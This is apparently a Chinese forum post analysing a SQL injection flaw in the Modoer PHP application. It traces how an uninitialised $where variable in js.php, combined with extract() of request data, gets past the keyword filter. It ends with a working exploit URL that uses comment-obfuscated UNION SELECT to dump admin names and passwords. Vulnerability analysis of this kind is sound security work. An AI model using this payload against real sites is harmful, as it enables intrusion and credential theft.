前些天,看到fjhgx在论坛发了个Modoer的注射漏洞,我无聊跑读了下代码,下面一起来分析下
首先看到common.inc.php 76-94行:
$pattern_arr = $replace_arr = array();
if(!defined('IN_ADMIN')) {
$pattern_arr = array("/ union /i", "/ select /i", "/ update /i", "/ outfile /i", "/ or /i");
$replace_arr = array(' union ', ' select ', ' update ',
' outfile ', ' or ');
$_POST = strip_sql($_POST);
$_GET = strip_sql($_GET);
$_COOKIE = strip_sql($_COOKIE);
unset($pattern_arr, $replace_arr);
}
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC) {
$_POST = add_slashes($_POST);
$_GET = add_slashes($_GET);
$_COOKIE = add_slashes($_COOKIE);
$_FILES && $_FILES = add_slashes($_FILES);
}
if(!empty($_POST)) extract($_POST, EXTR_SKIP);
if(!empty($_GET)) extract($_GET, EXTR_SKIP);
当register_globals = off的时候,这段代码也会为我们注册变量,继续看到其中的strip_sql和add_slashes函数:
function strip_sql($string) {
global $pattern_arr, $replace_arr;
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($pattern_arr, $replace_arr, $string);
}
function add_slashes($string) {
if(is_array($string))
foreach($string as $key => $val) $string[$key] = add_slashes($val);
else
$string = is_string($string) ? addslashes($string) : $string;
return $string;
}
看到js.php 63-109行
} else {
if($jssort != 'shop' && $jssort != 'review') {
exit("document.write(\"未定义的调用类型。\");");
}
$sort = $jssort=='shop' ? (isset($sort) && $sort > 0 && $sort <= 3 ? $sort : 0) : (isset($sort) && $sort > 0 && $sort <= 3 ? $sort : 0);
$num = isset($num) && intval(trim($num)) >= 1 ? intval(trim($num)) : 10;
$intercept = isset($intercept) && $intercept > 0 ? intval($intercept) : 0;
$openwindow = isset($openwindow) && $openwindow > 0 ? 1 : 0;
$pcdname = isset($pcdname) && $pcdname > 0 ? 1 : 0;
if(!$sort) {
exit("document.write(\"未选择显示类型。\");");
}
$cachename = 'js_'.md5($jssort.$panels.$sort.$num);
$cachefile = MUDDER_CACHEDIR.'cache_'.$cachename.'.php';
if((@!include($cachefile)) || $timestamp - $_createtime_js > $cachelife) {
$panels = $panels ? explode('_', $panels) : '';
if($panels && is_array($panels)) foreach($panels as $panel) {
$where .= ($where ? " OR " : " ")."classcode like '{$panel}__'";
}
if($jssort == 'shop') {
$select = "sid AS shopid,shopname,subname,classcode,reviews";
$from = " {$dbpre}shops ";
$where = " status='1' ".($where ? 'AND '.$where : ''); //$where 变量未初始化
} else {
$select = "a.rid as reviewid,a.content,b.shopname,b.subname,b.classcode,b.reviews";
$from = " {$dbpre}reviews a LEFT JOIN {$dbpre}shops b ON(a.shopid=b.sid)";
$where = " a.status='1' AND b.status='1' ".($where ? ' AND '.$where : '');
}
if($sort == 1) {
$orderby = $jssort=='shop' ? " reviews DESC" : " a.posttime DESC ";
} elseif($sort == 2) {
$orderby = $jssort=='shop' ? " sumreview DESC" : " a.flower DESC ";
} elseif($sort == 3) {
$orderby = $jssort=='shop' ? " addtime DESC" : " a.respond DESC ";
}
$datalist = array();
$query = $db->query("SELECT $select FROM $from WHERE $where ORDER BY $orderby LIMIT $num");
while($result = $db->fetch_array($query)) {
$datalist[] = $result;
}
代码中的$where 未初始化,导致漏洞。
exp:
js.php?sort=1&jssort=shop&where=%201=2%20/**/union/**/select/**/1,adminname,password,4,5/**/from/**/modoer_admin%23